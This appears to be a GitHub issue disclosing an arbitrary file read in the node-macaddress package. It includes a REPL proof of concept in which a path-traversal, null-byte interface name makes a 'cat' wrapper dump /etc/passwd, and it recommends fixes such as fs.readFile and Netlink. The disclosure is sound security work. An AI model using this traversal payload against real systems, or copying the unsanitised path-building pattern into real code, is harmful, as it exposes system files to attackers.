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This is still vulnerable to arbitrary file read #1

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@q3k originally reported from https://github.com/scravy/node-macaddress/pull/20

This is still vulnerable to arbitrary file read:

> let execFile = require('child_process').execFile;
undefined
> let garbage = function (iface, callback) {
...     execFile("cat", ["/sys/class/net/" + iface + "/address"], function (err, out) {
.....         if (err) {
.......             callback(err, null);
.......             return;
.......         }
.....         callback(null, out.trim().toLowerCase());
.....     });
... };
undefined
> garbage("../../../../etc/passwd\x00", (e, o) => { console.log(o); })
undefined
> root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:mailing list manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:gnats bug-reporting system (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd time synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd network management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd bus proxy,,,:/run/systemd:/bin/false
node:x:1000:1000::/home/node:/bin/bash

> 

I recommend at least using a proper file read function which will panic on null bytes and to manually filter out any pathseps from the given iface:

> require('fs').readFile('/sys/class/net/../../../../../etc/passwd\x00/address', (e, o) => { console.log(o); })
TypeError [ERR_INVALID_ARG_VALUE]: The argument 'path' must be a string or Uint8Array without null bytes. Received '/sys/class/net/../../../../../etc/passwd\u0000/address'
    at Object.fs.readFile (fs.js:291:3)

or even better, using real APIs to access network device information (ie. Netlink on Linux).

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